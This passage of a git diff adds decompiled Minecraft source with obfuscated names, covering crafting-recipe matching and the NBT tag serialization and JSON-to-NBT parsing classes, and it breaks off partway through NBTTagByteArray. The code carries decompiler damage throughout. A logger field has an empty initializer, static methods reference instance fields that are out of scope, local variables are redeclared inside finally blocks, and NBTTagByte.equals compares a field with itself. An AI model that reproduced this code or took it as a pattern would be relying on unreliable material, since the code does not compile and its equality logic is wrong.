+            var9 = recipeItems[(var7 + var8 * recipeWidth)];
+          }
+        }
+        
+        ItemStack var10 = p_77573_1_.getStackInRowAndColumn(var5, var6);
+        
+        if ((var10 != null) || (var9 != null))
+        {
+          if (((var10 == null) && (var9 != null)) || ((var10 != null) && (var9 == null)))
+          {
+            return false;
+          }
+          
+          if (var9.getItem() != var10.getItem())
+          {
+            return false;
+          }
+          
+          if ((var9.getMetadata() != 32767) && (var9.getMetadata() != var10.getMetadata()))
+          {
+            return false;
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    ItemStack var2 = getRecipeOutput().copy();
+    
+    if (field_92101_f)
+    {
+      for (int var3 = 0; var3 < p_77572_1_.getSizeInventory(); var3++)
+      {
+        ItemStack var4 = p_77572_1_.getStackInSlot(var3);
+        
+        if ((var4 != null) && (var4.hasTagCompound()))
+        {
+          var2.setTagCompound((NBTTagCompound)var4.getTagCompound().copy());
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getRecipeSize()
+  {
+    return recipeWidth * recipeHeight;
+  }
+  
+  public ShapedRecipes func_92100_c()
+  {
+    field_92101_f = true;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/ShapelessRecipes.java b/src/minecraft/net/minecraft/item/crafting/ShapelessRecipes.java
new file mode 100644
index 0000000..222fa91
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/ShapelessRecipes.java
@@ -0,0 +1,104 @@
+package net.minecraft.item.crafting;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+
+public class ShapelessRecipes
+  implements IRecipe
+{
+  private final ItemStack recipeOutput;
+  private final List recipeItems;
+  private static final String __OBFID = "CL_00000094";
+  
+  public ShapelessRecipes(ItemStack p_i1918_1_, List p_i1918_2_)
+  {
+    recipeOutput = p_i1918_1_;
+    recipeItems = p_i1918_2_;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return recipeOutput;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    ArrayList var3 = Lists.newArrayList(recipeItems);
+    
+    for (int var4 = 0; var4 < p_77569_1_.func_174923_h(); var4++)
+    {
+      for (int var5 = 0; var5 < p_77569_1_.func_174922_i(); var5++)
+      {
+        ItemStack var6 = p_77569_1_.getStackInRowAndColumn(var5, var4);
+        
+        if (var6 != null)
+        {
+          boolean var7 = false;
+          Iterator var8 = var3.iterator();
+          
+          while (var8.hasNext())
+          {
+            ItemStack var9 = (ItemStack)var8.next();
+            
+            if ((var6.getItem() == var9.getItem()) && ((var9.getMetadata() == 32767) || (var6.getMetadata() == var9.getMetadata())))
+            {
+              var7 = true;
+              var3.remove(var9);
+              break;
+            }
+          }
+          
+          if (!var7)
+          {
+            return false;
+          }
+        }
+      }
+    }
+    
+    return var3.isEmpty();
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    return recipeOutput.copy();
+  }
+  
+
+
+
+  public int getRecipeSize()
+  {
+    return recipeItems.size();
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/CompressedStreamTools.java b/src/minecraft/net/minecraft/nbt/CompressedStreamTools.java
new file mode 100644
index 0000000..eae20c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/CompressedStreamTools.java
@@ -0,0 +1,191 @@
+package net.minecraft.nbt;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataInput;
+import java.io.DataInputStream;
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ReportedException;
+
+public class CompressedStreamTools
+{
+  private static final String __OBFID = "CL_00001226";
+  
+  public CompressedStreamTools() {}
+  
+  public static NBTTagCompound readCompressed(InputStream p_74796_0_)
+    throws IOException
+  {
+    DataInputStream var1 = new DataInputStream(new BufferedInputStream(new GZIPInputStream(p_74796_0_)));
+    
+    NBTTagCompound var2;
+    try
+    {
+      var2 = func_152456_a(var1, NBTSizeTracker.INFINITE);
+    }
+    finally {
+      NBTTagCompound var2;
+      var1.close();
+    }
+    
+    return var2;
+  }
+  
+
+
+  public static void writeCompressed(NBTTagCompound p_74799_0_, OutputStream p_74799_1_)
+    throws IOException
+  {
+    DataOutputStream var2 = new DataOutputStream(new BufferedOutputStream(new GZIPOutputStream(p_74799_1_)));
+    
+    try
+    {
+      write(p_74799_0_, var2);
+    }
+    finally
+    {
+      var2.close();
+    }
+  }
+  
+  public static void safeWrite(NBTTagCompound p_74793_0_, File p_74793_1_) throws IOException
+  {
+    File var2 = new File(p_74793_1_.getAbsolutePath() + "_tmp");
+    
+    if (var2.exists())
+    {
+      var2.delete();
+    }
+    
+    write(p_74793_0_, var2);
+    
+    if (p_74793_1_.exists())
+    {
+      p_74793_1_.delete();
+    }
+    
+    if (p_74793_1_.exists())
+    {
+      throw new IOException("Failed to delete " + p_74793_1_);
+    }
+    
+
+    var2.renameTo(p_74793_1_);
+  }
+  
+  public static void write(NBTTagCompound p_74795_0_, File p_74795_1_)
+    throws IOException
+  {
+    DataOutputStream var2 = new DataOutputStream(new FileOutputStream(p_74795_1_));
+    
+    try
+    {
+      write(p_74795_0_, var2);
+    }
+    finally
+    {
+      var2.close();
+    }
+  }
+  
+  public static NBTTagCompound read(File p_74797_0_) throws IOException
+  {
+    if (!p_74797_0_.exists())
+    {
+      return null;
+    }
+    
+
+    DataInputStream var1 = new DataInputStream(new FileInputStream(p_74797_0_));
+    
+    NBTTagCompound var2;
+    try
+    {
+      var2 = func_152456_a(var1, NBTSizeTracker.INFINITE);
+    }
+    finally {
+      NBTTagCompound var2;
+      var1.close();
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public static NBTTagCompound read(DataInputStream p_74794_0_)
+    throws IOException
+  {
+    return func_152456_a(p_74794_0_, NBTSizeTracker.INFINITE);
+  }
+  
+  public static NBTTagCompound func_152456_a(DataInput p_152456_0_, NBTSizeTracker p_152456_1_) throws IOException
+  {
+    NBTBase var2 = func_152455_a(p_152456_0_, 0, p_152456_1_);
+    
+    if ((var2 instanceof NBTTagCompound))
+    {
+      return (NBTTagCompound)var2;
+    }
+    
+
+    throw new IOException("Root tag must be a named compound tag");
+  }
+  
+  public static void write(NBTTagCompound p_74800_0_, DataOutput p_74800_1_)
+    throws IOException
+  {
+    writeTag(p_74800_0_, p_74800_1_);
+  }
+  
+  private static void writeTag(NBTBase p_150663_0_, DataOutput p_150663_1_) throws IOException
+  {
+    p_150663_1_.writeByte(p_150663_0_.getId());
+    
+    if (p_150663_0_.getId() != 0)
+    {
+      p_150663_1_.writeUTF("");
+      p_150663_0_.write(p_150663_1_);
+    }
+  }
+  
+  private static NBTBase func_152455_a(DataInput p_152455_0_, int p_152455_1_, NBTSizeTracker p_152455_2_) throws IOException
+  {
+    byte var3 = p_152455_0_.readByte();
+    
+    if (var3 == 0)
+    {
+      return new NBTTagEnd();
+    }
+    
+
+    p_152455_0_.readUTF();
+    NBTBase var4 = NBTBase.createNewByType(var3);
+    
+    try
+    {
+      var4.read(p_152455_0_, p_152455_1_, p_152455_2_);
+      return var4;
+    }
+    catch (IOException var8)
+    {
+      CrashReport var6 = CrashReport.makeCrashReport(var8, "Loading NBT data");
+      CrashReportCategory var7 = var6.makeCategory("NBT Tag");
+      var7.addCrashSection("Tag name", "[UNNAMED TAG]");
+      var7.addCrashSection("Tag type", Byte.valueOf(var3));
+      throw new ReportedException(var6);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/JsonToNBT.java b/src/minecraft/net/minecraft/nbt/JsonToNBT.java
new file mode 100644
index 0000000..a716fd6
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/JsonToNBT.java
@@ -0,0 +1,563 @@
+package net.minecraft.nbt;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Stack;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import org.apache.logging.log4j.LogManager;
+
+public class JsonToNBT
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  private static final Pattern field_179273_b = Pattern.compile("\\[[-+\\d|,\\s]+\\]");
+  private static final String __OBFID = "CL_00001232";
+  
+  public JsonToNBT() {}
+  
+  public static NBTTagCompound func_180713_a(String p_180713_0_) throws NBTException { p_180713_0_ = p_180713_0_.trim();
+    
+    if (!p_180713_0_.startsWith("{"))
+    {
+      throw new NBTException("Invalid tag encountered, expected '{' as first char.");
+    }
+    if (func_150310_b(p_180713_0_) != 1)
+    {
+      throw new NBTException("Encountered multiple top tags, only one expected");
+    }
+    
+
+    return (NBTTagCompound)func_150316_a("tag", p_180713_0_).func_150489_a();
+  }
+  
+  static int func_150310_b(String p_150310_0_)
+    throws NBTException
+  {
+    int var1 = 0;
+    boolean var2 = false;
+    Stack var3 = new Stack();
+    
+    for (int var4 = 0; var4 < p_150310_0_.length(); var4++)
+    {
+      char var5 = p_150310_0_.charAt(var4);
+      
+      if (var5 == '"')
+      {
+        if (func_179271_b(p_150310_0_, var4))
+        {
+          if (!var2)
+          {
+            throw new NBTException("Illegal use of \\\": " + p_150310_0_);
+          }
+          
+        }
+        else {
+          var2 = !var2;
+        }
+      }
+      else if (!var2)
+      {
+        if ((var5 != '{') && (var5 != '['))
+        {
+          if ((var5 == '}') && ((var3.isEmpty()) || (((Character)var3.pop()).charValue() != '{')))
+          {
+            throw new NBTException("Unbalanced curly brackets {}: " + p_150310_0_);
+          }
+          
+          if ((var5 == ']') && ((var3.isEmpty()) || (((Character)var3.pop()).charValue() != '[')))
+          {
+            throw new NBTException("Unbalanced square brackets []: " + p_150310_0_);
+          }
+        }
+        else
+        {
+          if (var3.isEmpty())
+          {
+            var1++;
+          }
+          
+          var3.push(Character.valueOf(var5));
+        }
+      }
+    }
+    
+    if (var2)
+    {
+      throw new NBTException("Unbalanced quotation: " + p_150310_0_);
+    }
+    if (!var3.isEmpty())
+    {
+      throw new NBTException("Unbalanced brackets: " + p_150310_0_);
+    }
+    
+
+    if ((var1 == 0) && (!p_150310_0_.isEmpty()))
+    {
+      var1 = 1;
+    }
+    
+    return var1;
+  }
+  
+  static Any func_179272_a(String... p_179272_0_)
+    throws NBTException
+  {
+    return func_150316_a(p_179272_0_[0], p_179272_0_[1]);
+  }
+  
+  static Any func_150316_a(String p_150316_0_, String p_150316_1_) throws NBTException
+  {
+    p_150316_1_ = p_150316_1_.trim();
+    
+
+
+
+    if (p_150316_1_.startsWith("{"))
+    {
+      p_150316_1_ = p_150316_1_.substring(1, p_150316_1_.length() - 1);
+      
+      String var3;
+      for (Compound var5 = new Compound(p_150316_0_); p_150316_1_.length() > 0; p_150316_1_ = p_150316_1_.substring(var3.length() + 1))
+      {
+        var3 = func_150314_a(p_150316_1_, true);
+        
+        if (var3.length() > 0)
+        {
+          boolean var4 = false;
+          field_150491_b.add(func_179270_a(var3, var4));
+        }
+        
+        if (p_150316_1_.length() < var3.length() + 1) {
+          break;
+        }
+        
+
+        char var6 = p_150316_1_.charAt(var3.length());
+        
+        if ((var6 != ',') && (var6 != '{') && (var6 != '}') && (var6 != '[') && (var6 != ']'))
+        {
+          throw new NBTException("Unexpected token '" + var6 + "' at: " + p_150316_1_.substring(var3.length()));
+        }
+      }
+      
+      return var5;
+    }
+    if ((p_150316_1_.startsWith("[")) && (!field_179273_b.matcher(p_150316_1_).matches()))
+    {
+      p_150316_1_ = p_150316_1_.substring(1, p_150316_1_.length() - 1);
+      
+      String var3;
+      for (List var2 = new List(p_150316_0_); p_150316_1_.length() > 0; p_150316_1_ = p_150316_1_.substring(var3.length() + 1))
+      {
+        var3 = func_150314_a(p_150316_1_, false);
+        
+        if (var3.length() > 0)
+        {
+          boolean var4 = true;
+          field_150492_b.add(func_179270_a(var3, var4));
+        }
+        
+        if (p_150316_1_.length() < var3.length() + 1) {
+          break;
+        }
+        
+
+        char var6 = p_150316_1_.charAt(var3.length());
+        
+        if ((var6 != ',') && (var6 != '{') && (var6 != '}') && (var6 != '[') && (var6 != ']'))
+        {
+          throw new NBTException("Unexpected token '" + var6 + "' at: " + p_150316_1_.substring(var3.length()));
+        }
+      }
+      
+      return var2;
+    }
+    
+
+    return new Primitive(p_150316_0_, p_150316_1_);
+  }
+  
+  private static Any func_179270_a(String p_179270_0_, boolean p_179270_1_)
+    throws NBTException
+  {
+    String var2 = func_150313_b(p_179270_0_, p_179270_1_);
+    String var3 = func_150311_c(p_179270_0_, p_179270_1_);
+    return func_179272_a(new String[] { var2, var3 });
+  }
+  
+  private static String func_150314_a(String p_150314_0_, boolean p_150314_1_) throws NBTException
+  {
+    int var2 = func_150312_a(p_150314_0_, ':');
+    int var3 = func_150312_a(p_150314_0_, ',');
+    
+    if (p_150314_1_)
+    {
+      if (var2 == -1)
+      {
+        throw new NBTException("Unable to locate name/value separator for string: " + p_150314_0_);
+      }
+      
+      if ((var3 != -1) && (var3 < var2))
+      {
+        throw new NBTException("Name error at: " + p_150314_0_);
+      }
+    }
+    else if ((var2 == -1) || (var2 > var3))
+    {
+      var2 = -1;
+    }
+    
+    return func_179269_a(p_150314_0_, var2);
+  }
+  
+  private static String func_179269_a(String p_179269_0_, int p_179269_1_) throws NBTException
+  {
+    Stack var2 = new Stack();
+    int var3 = p_179269_1_ + 1;
+    boolean var4 = false;
+    boolean var5 = false;
+    boolean var6 = false;
+    
+    for (int var7 = 0; var3 < p_179269_0_.length(); var3++)
+    {
+      char var8 = p_179269_0_.charAt(var3);
+      
+      if (var8 == '"')
+      {
+        if (func_179271_b(p_179269_0_, var3))
+        {
+          if (!var4)
+          {
+            throw new NBTException("Illegal use of \\\": " + p_179269_0_);
+          }
+        }
+        else
+        {
+          var4 = !var4;
+          
+          if ((var4) && (!var6))
+          {
+            var5 = true;
+          }
+          
+          if (!var4)
+          {
+            var7 = var3;
+          }
+        }
+      }
+      else if (!var4)
+      {
+        if ((var8 != '{') && (var8 != '['))
+        {
+          if ((var8 == '}') && ((var2.isEmpty()) || (((Character)var2.pop()).charValue() != '{')))
+          {
+            throw new NBTException("Unbalanced curly brackets {}: " + p_179269_0_);
+          }
+          
+          if ((var8 == ']') && ((var2.isEmpty()) || (((Character)var2.pop()).charValue() != '[')))
+          {
+            throw new NBTException("Unbalanced square brackets []: " + p_179269_0_);
+          }
+          
+          if ((var8 == ',') && (var2.isEmpty()))
+          {
+            return p_179269_0_.substring(0, var3);
+          }
+        }
+        else
+        {
+          var2.push(Character.valueOf(var8));
+        }
+      }
+      
+      if (!Character.isWhitespace(var8))
+      {
+        if ((!var4) && (var5) && (var7 != var3))
+        {
+          return p_179269_0_.substring(0, var7 + 1);
+        }
+        
+        var6 = true;
+      }
+    }
+    
+    return p_179269_0_.substring(0, var3);
+  }
+  
+  private static String func_150313_b(String p_150313_0_, boolean p_150313_1_) throws NBTException
+  {
+    if (p_150313_1_)
+    {
+      p_150313_0_ = p_150313_0_.trim();
+      
+      if ((p_150313_0_.startsWith("{")) || (p_150313_0_.startsWith("[")))
+      {
+        return "";
+      }
+    }
+    
+    int var2 = func_150312_a(p_150313_0_, ':');
+    
+    if (var2 == -1)
+    {
+      if (p_150313_1_)
+      {
+        return "";
+      }
+      
+
+      throw new NBTException("Unable to locate name/value separator for string: " + p_150313_0_);
+    }
+    
+
+
+    return p_150313_0_.substring(0, var2).trim();
+  }
+  
+  private static String func_150311_c(String p_150311_0_, boolean p_150311_1_)
+    throws NBTException
+  {
+    if (p_150311_1_)
+    {
+      p_150311_0_ = p_150311_0_.trim();
+      
+      if ((p_150311_0_.startsWith("{")) || (p_150311_0_.startsWith("[")))
+      {
+        return p_150311_0_;
+      }
+    }
+    
+    int var2 = func_150312_a(p_150311_0_, ':');
+    
+    if (var2 == -1)
+    {
+      if (p_150311_1_)
+      {
+        return p_150311_0_;
+      }
+      
+
+      throw new NBTException("Unable to locate name/value separator for string: " + p_150311_0_);
+    }
+    
+
+
+    return p_150311_0_.substring(var2 + 1).trim();
+  }
+  
+
+  private static int func_150312_a(String p_150312_0_, char p_150312_1_)
+  {
+    int var2 = 0;
+    
+    for (boolean var3 = true; var2 < p_150312_0_.length(); var2++)
+    {
+      char var4 = p_150312_0_.charAt(var2);
+      
+      if (var4 == '"')
+      {
+        if (!func_179271_b(p_150312_0_, var2))
+        {
+          var3 = !var3;
+        }
+      }
+      else if (var3)
+      {
+        if (var4 == p_150312_1_)
+        {
+          return var2;
+        }
+        
+        if ((var4 == '{') || (var4 == '['))
+        {
+          return -1;
+        }
+      }
+    }
+    
+    return -1;
+  }
+  
+  private static boolean func_179271_b(String p_179271_0_, int p_179271_1_)
+  {
+    return (p_179271_1_ > 0) && (p_179271_0_.charAt(p_179271_1_ - 1) == '\\') && (!func_179271_b(p_179271_0_, p_179271_1_ - 1));
+  }
+  
+  static abstract class Any {
+    protected String field_150490_a;
+    private static final String __OBFID = "CL_00001233";
+    
+    Any() {}
+    
+    public abstract NBTBase func_150489_a();
+  }
+  
+  static class Compound extends JsonToNBT.Any {
+    protected List field_150491_b = Lists.newArrayList();
+    private static final String __OBFID = "CL_00001234";
+    
+    public Compound(String p_i45137_1_)
+    {
+      field_150490_a = p_i45137_1_;
+    }
+    
+    public NBTBase func_150489_a()
+    {
+      NBTTagCompound var1 = new NBTTagCompound();
+      Iterator var2 = field_150491_b.iterator();
+      
+      while (var2.hasNext())
+      {
+        JsonToNBT.Any var3 = (JsonToNBT.Any)var2.next();
+        var1.setTag(field_150490_a, var3.func_150489_a());
+      }
+      
+      return var1;
+    }
+  }
+  
+  static class List extends JsonToNBT.Any
+  {
+    protected List field_150492_b = Lists.newArrayList();
+    private static final String __OBFID = "CL_00001235";
+    
+    public List(String p_i45138_1_)
+    {
+      field_150490_a = p_i45138_1_;
+    }
+    
+    public NBTBase func_150489_a()
+    {
+      NBTTagList var1 = new NBTTagList();
+      Iterator var2 = field_150492_b.iterator();
+      
+      while (var2.hasNext())
+      {
+        JsonToNBT.Any var3 = (JsonToNBT.Any)var2.next();
+        var1.appendTag(var3.func_150489_a());
+      }
+      
+      return var1;
+    }
+  }
+  
+  static class Primitive extends JsonToNBT.Any
+  {
+    private static final Pattern field_179265_c = Pattern.compile("[-+]?[0-9]*\\.?[0-9]+[d|D]");
+    private static final Pattern field_179263_d = Pattern.compile("[-+]?[0-9]*\\.?[0-9]+[f|F]");
+    private static final Pattern field_179264_e = Pattern.compile("[-+]?[0-9]+[b|B]");
+    private static final Pattern field_179261_f = Pattern.compile("[-+]?[0-9]+[l|L]");
+    private static final Pattern field_179262_g = Pattern.compile("[-+]?[0-9]+[s|S]");
+    private static final Pattern field_179267_h = Pattern.compile("[-+]?[0-9]+");
+    private static final Pattern field_179268_i = Pattern.compile("[-+]?[0-9]*\\.?[0-9]+");
+    private static final Splitter field_179266_j = Splitter.on(',').omitEmptyStrings();
+    protected String field_150493_b;
+    private static final String __OBFID = "CL_00001236";
+    
+    public Primitive(String p_i45139_1_, String p_i45139_2_)
+    {
+      field_150490_a = p_i45139_1_;
+      field_150493_b = p_i45139_2_;
+    }
+    
+    public NBTBase func_150489_a()
+    {
+      try
+      {
+        if (field_179265_c.matcher(field_150493_b).matches())
+        {
+          return new NBTTagDouble(Double.parseDouble(field_150493_b.substring(0, field_150493_b.length() - 1)));
+        }
+        
+        if (field_179263_d.matcher(field_150493_b).matches())
+        {
+          return new NBTTagFloat(Float.parseFloat(field_150493_b.substring(0, field_150493_b.length() - 1)));
+        }
+        
+        if (field_179264_e.matcher(field_150493_b).matches())
+        {
+          return new NBTTagByte(Byte.parseByte(field_150493_b.substring(0, field_150493_b.length() - 1)));
+        }
+        
+        if (field_179261_f.matcher(field_150493_b).matches())
+        {
+          return new NBTTagLong(Long.parseLong(field_150493_b.substring(0, field_150493_b.length() - 1)));
+        }
+        
+        if (field_179262_g.matcher(field_150493_b).matches())
+        {
+          return new NBTTagShort(Short.parseShort(field_150493_b.substring(0, field_150493_b.length() - 1)));
+        }
+        
+        if (field_179267_h.matcher(field_150493_b).matches())
+        {
+          return new NBTTagInt(Integer.parseInt(field_150493_b));
+        }
+        
+        if (field_179268_i.matcher(field_150493_b).matches())
+        {
+          return new NBTTagDouble(Double.parseDouble(field_150493_b));
+        }
+        
+        if ((field_150493_b.equalsIgnoreCase("true")) || (field_150493_b.equalsIgnoreCase("false")))
+        {
+          return new NBTTagByte((byte)(Boolean.parseBoolean(field_150493_b) ? 1 : 0));
+        }
+      }
+      catch (NumberFormatException var6)
+      {
+        field_150493_b = field_150493_b.replaceAll("\\\\\"", "\"");
+        return new NBTTagString(field_150493_b);
+      }
+      
+      if ((field_150493_b.startsWith("[")) && (field_150493_b.endsWith("]")))
+      {
+        String var7 = field_150493_b.substring(1, field_150493_b.length() - 1);
+        String[] var8 = (String[])com.google.common.collect.Iterables.toArray(field_179266_j.split(var7), String.class);
+        
+        try
+        {
+          int[] var3 = new int[var8.length];
+          
+          for (int var4 = 0; var4 < var8.length; var4++)
+          {
+            var3[var4] = Integer.parseInt(var8[var4].trim());
+          }
+          
+          return new NBTTagIntArray(var3);
+        }
+        catch (NumberFormatException var5)
+        {
+          return new NBTTagString(field_150493_b);
+        }
+      }
+      
+
+      if ((field_150493_b.startsWith("\"")) && (field_150493_b.endsWith("\"")))
+      {
+        field_150493_b = field_150493_b.substring(1, field_150493_b.length() - 1);
+      }
+      
+      field_150493_b = field_150493_b.replaceAll("\\\\\"", "\"");
+      StringBuilder var1 = new StringBuilder();
+      
+      for (int var2 = 0; var2 < field_150493_b.length(); var2++)
+      {
+        if ((var2 < field_150493_b.length() - 1) && (field_150493_b.charAt(var2) == '\\') && (field_150493_b.charAt(var2 + 1) == '\\'))
+        {
+          var1.append('\\');
+          var2++;
+        }
+        else
+        {
+          var1.append(field_150493_b.charAt(var2));
+        }
+      }
+      
+      return new NBTTagString(var1.toString());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTBase.java b/src/minecraft/net/minecraft/nbt/NBTBase.java
new file mode 100644
index 0000000..9e249c6
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTBase.java
@@ -0,0 +1,129 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public abstract class NBTBase
+{
+  public static final String[] NBT_TYPES = { "END", "BYTE", "SHORT", "INT", "LONG", "FLOAT", "DOUBLE", "BYTE[]", "STRING", "LIST", "COMPOUND", "INT[]" };
+  
+  private static final String __OBFID = "CL_00001229";
+  
+
+  public NBTBase() {}
+  
+
+  abstract void write(DataOutput paramDataOutput)
+    throws IOException;
+  
+
+  abstract void read(DataInput paramDataInput, int paramInt, NBTSizeTracker paramNBTSizeTracker)
+    throws IOException;
+  
+
+  public abstract String toString();
+  
+  public abstract byte getId();
+  
+  protected static NBTBase createNewByType(byte id)
+  {
+    switch (id)
+    {
+    case 0: 
+      return new NBTTagEnd();
+    
+    case 1: 
+      return new NBTTagByte();
+    
+    case 2: 
+      return new NBTTagShort();
+    
+    case 3: 
+      return new NBTTagInt();
+    
+    case 4: 
+      return new NBTTagLong();
+    
+    case 5: 
+      return new NBTTagFloat();
+    
+    case 6: 
+      return new NBTTagDouble();
+    
+    case 7: 
+      return new NBTTagByteArray();
+    
+    case 8: 
+      return new NBTTagString();
+    
+    case 9: 
+      return new NBTTagList();
+    
+    case 10: 
+      return new NBTTagCompound();
+    
+    case 11: 
+      return new NBTTagIntArray();
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  public abstract NBTBase copy();
+  
+
+
+
+  public boolean hasNoTags()
+  {
+    return false;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof NBTBase))
+    {
+      return false;
+    }
+    
+
+    NBTBase var2 = (NBTBase)p_equals_1_;
+    return getId() == var2.getId();
+  }
+  
+
+  public int hashCode()
+  {
+    return getId();
+  }
+  
+  protected String getString()
+  {
+    return toString();
+  }
+  
+  public static abstract class NBTPrimitive
+    extends NBTBase
+  {
+    private static final String __OBFID = "CL_00001230";
+    
+    public NBTPrimitive() {}
+    
+    public abstract long getLong();
+    
+    public abstract int getInt();
+    
+    public abstract short getShort();
+    
+    public abstract byte getByte();
+    
+    public abstract double getDouble();
+    
+    public abstract float getFloat();
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTException.java b/src/minecraft/net/minecraft/nbt/NBTException.java
new file mode 100644
index 0000000..f906a7e
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTException.java
@@ -0,0 +1,11 @@
+package net.minecraft.nbt;
+
+public class NBTException extends Exception
+{
+  private static final String __OBFID = "CL_00001231";
+  
+  public NBTException(String p_i45136_1_)
+  {
+    super(p_i45136_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTSizeTracker.java b/src/minecraft/net/minecraft/nbt/NBTSizeTracker.java
new file mode 100644
index 0000000..2f3bc59
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTSizeTracker.java
@@ -0,0 +1,31 @@
+package net.minecraft.nbt;
+
+public class NBTSizeTracker
+{
+  public static final NBTSizeTracker INFINITE = new NBTSizeTracker(0L)
+  {
+    private static final String __OBFID = "CL_00001902";
+    
+    public void read(long bits) {}
+  };
+  private final long max;
+  private long read;
+  private static final String __OBFID = "CL_00001903";
+  
+  public NBTSizeTracker(long max) {
+    this.max = max;
+  }
+  
+
+
+
+  public void read(long bits)
+  {
+    read += bits / 8L;
+    
+    if (read > max)
+    {
+      throw new RuntimeException("Tried to read NBT tag that was too big; tried to allocate: " + read + "bytes where max allowed: " + max);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagByte.java b/src/minecraft/net/minecraft/nbt/NBTTagByte.java
new file mode 100644
index 0000000..e6d62e3
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagByte.java
@@ -0,0 +1,102 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+
+public class NBTTagByte
+  extends NBTBase.NBTPrimitive
+{
+  private byte data;
+  private static final String __OBFID = "CL_00001214";
+  
+  NBTTagByte() {}
+  
+  public NBTTagByte(byte data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeByte(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    sizeTracker.read(8L);
+    data = input.readByte();
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 1;
+  }
+  
+  public String toString()
+  {
+    return data + "b";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    return new NBTTagByte(data);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (super.equals(p_equals_1_))
+    {
+      NBTTagByte var2 = (NBTTagByte)p_equals_1_;
+      return data == data;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ data;
+  }
+  
+  public long getLong()
+  {
+    return data;
+  }
+  
+  public int getInt()
+  {
+    return data;
+  }
+  
+  public short getShort()
+  {
+    return (short)data;
+  }
+  
+  public byte getByte()
+  {
+    return data;
+  }
+  
+  public double getDouble()
+  {
+    return data;
+  }
+  
+  public float getFloat()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/nbt/NBTTagByteArray.java b/src/minecraft/net/minecraft/nbt/NBTTagByteArray.java
new file mode 100644
index 0000000..73e5c42
--- /dev/null
+++ b/src/minecraft/net/minecraft/nbt/NBTTagByteArray.java
@@ -0,0 +1,75 @@
+package net.minecraft.nbt;
+
+import java.io.DataInput;
+import java.io.DataOutput;
+import java.io.IOException;
+import java.util.Arrays;
+
+public class NBTTagByteArray
+  extends NBTBase
+{
+  private byte[] data;
+  private static final String __OBFID = "CL_00001213";
+  
+  NBTTagByteArray() {}
+  
+  public NBTTagByteArray(byte[] data)
+  {
+    this.data = data;
+  }
+  
+
+
+  void write(DataOutput output)
+    throws IOException
+  {
+    output.writeInt(data.length);
+    output.write(data);
+  }
+  
+  void read(DataInput input, int depth, NBTSizeTracker sizeTracker) throws IOException
+  {
+    int var4 = input.readInt();
+    sizeTracker.read(8 * var4);
+    data = new byte[var4];
+    input.readFully(data);
+  }
+  
+
+
+
+  public byte getId()
+  {
+    return 7;
+  }
+  
+  public String toString()
+  {
+    return "[" + data.length + " bytes]";
+  }
+  
+
+
+
+  public NBTBase copy()
+  {
+    byte[] var1 = new byte[data.length];
+    System.arraycopy(data, 0, var1, 0, data.length);
+    return new NBTTagByteArray(var1);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
